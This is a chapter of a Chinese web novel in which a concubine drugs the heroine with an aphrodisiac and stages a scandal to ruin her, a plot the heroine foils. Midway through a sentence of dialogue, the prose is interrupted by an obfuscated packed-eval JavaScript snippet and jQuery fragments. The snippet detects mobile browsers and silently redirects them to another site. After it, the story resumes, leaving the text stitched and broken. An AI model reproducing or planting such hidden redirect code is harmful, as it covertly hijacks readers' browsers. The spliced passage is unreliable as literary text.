林姚瑶从一旁爬起,轻拍身上不慎沾到的灰尘。
接着,便在杜堇洲一脸无语的表情中,一把紧紧的抱住他的大腿。
“呜呜呜,世子大人我错了,请你原谅我吧,我真的不知道发生了什么,感觉脑子像是被驴踢了,呜呜呜,世子大人,你大人有大量,就当是被猪拱了....”
妖孽世子虎躯一震,连忙给了她一个眼神。
林姚瑶适时住了嘴。
杜金州发出一声冷笑,他抽出手,整理好被她扯开揉乱的衣服,又恢复了那金尊玉贵的模样。
见状,林姚瑶哭丧着脸,又絮絮叨叨的小声嘟囔起来,“我也不知道是怎么了,就感觉身上热热的,然后就好像失去了知觉一样,脑子迷迷糊糊的....”
半晌,杜金洲轻启薄唇,
“是催情散。”
“啊?”
林姚瑶大吃一惊,什么?催情散?催,情,散?就是那个在小说和电视剧中出现频率颇高的那种东西?
可她是什么时候中的催情散?难道是宴席上?
那也不对啊,给各家夫人小姐们上菜的顺序都是乱的,那么多人,下毒之人又怎会如此精准的将药下给她?
这说不通啊!....
像是听到了她的疑惑,杜堇洲淡淡道,“你不觉得,你今天用的头油有股异样的香味吗?”
林姚瑶:!
她顿时瞪大双眼,不可置信的摸了摸头发。
琼花头油!
细腰!
她垂下眼睑,双手攥紧,心中生恨。
“可是,这琼花头油一早便用了,为何之前没有发作?”
“给你下催情散的人很聪明,她将完整的催情散药方分开,一半下在你的头油里,一半下在你吃过的甜汤里,两者相遇,便起了作用。”
“搜嘎。”
林姚瑶沉思着,这下毒之人可真的用心良苦!竟舍得花这么大的力气,她还真是小瞧了她们!
“什么搜?”
林姚瑶眨了眨眼睛,一拍脑袋!她竟然一时情急说出了搜嘎,她嘿嘿笑道,
“就是原来如此的意思,我们以前老家的说法。”
“搜嘎....”
杜堇洲低沉的嗓音响起,她悻悻的笑笑。
好违和感啊....
与此同时,这边在林姚瑶往西园石林走去之时,那边八仙阁的宴席已渐入尾声。
一个面生的小丫头匆匆走近,伏在谢姨娘身边的婆子耳边悄悄说了什么,婆子立刻小声跟谢姨娘嘀咕起。
谢姨娘微笑点头,看着林姚瑶的座上空无一人,给林娥眉使了个眼色,林娥眉当即会意,她缓缓起身,走到老祖宗身旁,
“祖母,我去外面醒个酒。”
老祖宗乐呵呵笑着点头,“去吧,早去早回,别吹着风了。”
“好的呐祖母,”随即,她像是想到了什么,又说道,“祖母,西园的桂花开的甚好,我去摘两支过来,给祖母戴在头上好不好?”
“好好好,”老祖宗笑着。
“三姑娘真是孝顺啊....”
“是啊...”
林娥眉带着身边的丫鬟莲蕊一刻不敢停息,火急火燎的便往西园赶去。
西园外,林娥眉听到一阵调情的声音,中间夹着男子粗重的呼吸声以及女子的呻吟声。
她偷偷走近了些,只见一旁的石头上挂着两件女子的衣裳,甚是能看到石头后方,隐隐约约有两双白白的脚,那石头后方更是时不时断断续续传出“姒遥,姒遥...”销魂又肉麻的叫声。
林娥眉喜上眉梢,终于让她逮住机会了,这个小贱人,果然跟阿娘说的一样早该防备,竟让她白白夺了她的风头!
她立刻吩咐莲蕊,“快去告诉母亲,说是我在西园远远瞧见二姐姐私会外男,伤风败俗,快去。”
“姑娘那你...”
“快去,就说我在这守着!”
“是,是!”
莲蕊走后,林娥眉躲到一旁,揪着帕子焦急等待着。
莲蕊一路小跑,终于跑到八仙阁,伏在谢姨娘身边将林娥眉交代的话一股脑说出来。
谢姨娘早已准备,心中冷笑着,面上适时露出一丝惊慌,她正端着碗喝着汤,一失手,瓷碗啪嗒一声掉落,碎渣溅了一地。
异样的响声顿时吸引来所有人的目光,老祖宗问道,“芙云啊,你这是怎么了?”
谢姨娘面色闪过一丝惊慌,手上惊慌失措,她慌慌张张的起身,颤颤巍巍的蹲在老祖宗腿边,哭丧着脸,
“不好了,不好了,老祖宗,三丫头遣莲蕊回来,说是看到二姐儿在西园与人私通。”
此言一出,老祖宗的笑容僵在脸上,有些不敢相信的问道,“你说什么?”
“说是二姐儿在跟外男私通。”
谢芙云扯过帕子,擦擦眼角,声音悲切。
老祖宗一个急火攻心,差点晕过去,幸好身边人眼疾手快,才稳稳扶住。
一旁立刻有侍女拿出一瓶药,到处一粒给老祖宗服下,谢芙云给老祖宗顺着气,一边用帕子擦拭着眼睛。
心中却很是得意,如此一来,就算是那荒唐的陈留王世子,断然也不会要这等水性杨花残花败柳之人!
林姒遥,她将永远翻不了身!
谢芙云话音刚落,堂间众夫人皆窃窃私语来,东家的夫人不相信林家三姑娘不会做出此等荒唐的事来,西家的贵人相信,也有不少人静观其变。
一时间,一片乱糟糟的。
终于有人说道,“这空穴来风岂能相信,倒不如我们去亲眼看看,是否同三姑娘说的一般!”
当即便引来不少人附和。
老祖宗见事已至此,便要带着一众人往西园石林赶去,早有机灵的赶去报给林青松。
远远的,浩浩荡荡一群人往西园赶去,老祖宗拄着拐杖,扶着侍女的手,着急往前走。
赵棠言面色依旧一副古井无波的模样,看不出什么心思,林知意跟在她身旁,皱着眉头。
“哎哟,家门不幸啊家门不幸啊,”谢芙云痛心疾首,仿佛此事已经一锤定音般。
“谢姨娘,此事还未确凿,等亲眼见过了再声张也不迟。”
林知意声音不疾不徐,传到谢姨娘耳边却是十分刺耳。
如今箭在弦上,风声鹤唳草木皆兵,在她心中,任何一道质疑的声音都是在同她唱反调,都是在帮林姒遥。
她冷笑,“大姐儿这话说的,难不成我眉儿还诓骗你们不成?”
“许是三妹妹看错了也未可知,如今事实真相未明,谢姨娘倒不必这般着急给二妹妹扣帽子。”
“大姑娘!我知道你向来不喜我们母女,倒也不必
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933377|191811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如此偏帮二丫头!”
“谢姨娘此话严重了,二妹妹三妹妹都是我的妹妹,我为何要偏帮一人?二位妹妹在我心里都是一样,从未有过亲疏远近之分!”
“大姑娘....”
“知意,注意你的言行,莫要与长辈起冲突。”
一旁的大夫人平心静气打断谢姨娘的话,她扣动着手中的佛珠,又看了一眼谢芙云,
“谢姨娘,你也别忘了,谁才是府中正经的主子。”
眼神淡漠,透着不怒自威。
说完,便不再看她。
谢芙云身子一颤,不敢再言。
“是的,母亲。”林知意平静下来,声音淡淡的。
远远的,众人瞧见似乎有两人在假山石旁拉拉扯扯,似乎还抱在了一起。
谢姨娘面色一喜,指着那抱在一起的人影到,“看,我就说吧,眉儿不会诓骗我等!”
身边的婆子立刻接话道,“我的天老爷噫,这可如何是好!”
谢姨娘冷笑,“这伤风败俗的小丫头片子,活该打三十棍,扒皮抽筋,然后扔到庄子上去!”
她的眼皮跳了跳,不知怎的,如此大喜事,她应当兴奋不已才是,可偏偏,总觉得心头有丝丝的不安。
随即,她压下心中不安,扶着老祖宗,马不停蹄往前赶去。
走近一看,一个青年模样的学子正背对着她们,怀里,还抱着一个女子。
那女子衣衫凌乱,隐隐约约露出一半香肩,那男人的手还伸进女子的衣服中,往下摸索着什么。
众人皆不忍直视,光天化日,朗朗乾坤,竟如此伤风败俗!饶是在座已经生产过的夫人,都不觉露出嫌恶来。那场面叫人看了,都心惊肉跳的。
这林家二姑娘,真是不知羞耻,行为放荡,倒不如一根白绫去了更好!
“林姒遥!你好大的胆,一个未出阁的女子竟在此与外男私会!你还要不要脸了!真是伤风败俗,无耻之尤!早该给你一通打,远远的扔到庄子上!”
谢芙云心中乐开了花,众人见状,也都纷纷摇着头。
老祖宗更是头疼,半天叹出一口气来。
听到谢芙云的声音,那学子醉醺醺的转过头,咧嘴笑出一口大白牙。
而怀中的女子,却往里躲了躲。
正在此时,一道声音远远传来,
“谢姨娘,你是在找我吗?”
谢芙云猛然一回头,却见林姒遥衣衫整齐,依旧穿着给老祖宗贺寿时的那套衣服,笑眯眯的从后方走了过来。
林姚瑶穿过人群,任凭那些人或好奇或惊讶的目光,她看了一眼众人,款款走到老祖宗跟前,面露疑惑,
“祖母,嫡母,你们怎么不在八仙阁,怎么带着众位夫人们跑到这园子里来了?”
谢芙云面上慌张起来,怎么可能?林姒遥怎么会完整无损的站在这里?
这不可能?怎么可能?这..不可能啊!
“你,你去哪里了?”
林姚瑶笑笑,“姒遥不胜酒力,就往外面走了走,在府中闲逛着,走着走着,远远的看到祖母夫人们都往这赶,便也一同过来了,姨娘为何如此惊讶?”
谢芙云满脸慌张,硬生生挤出一个笑。
一旁老祖宗面色终于缓和些许,然而立刻有人问道,“既然二姑娘好端端的在这,那那边那个,又是谁?”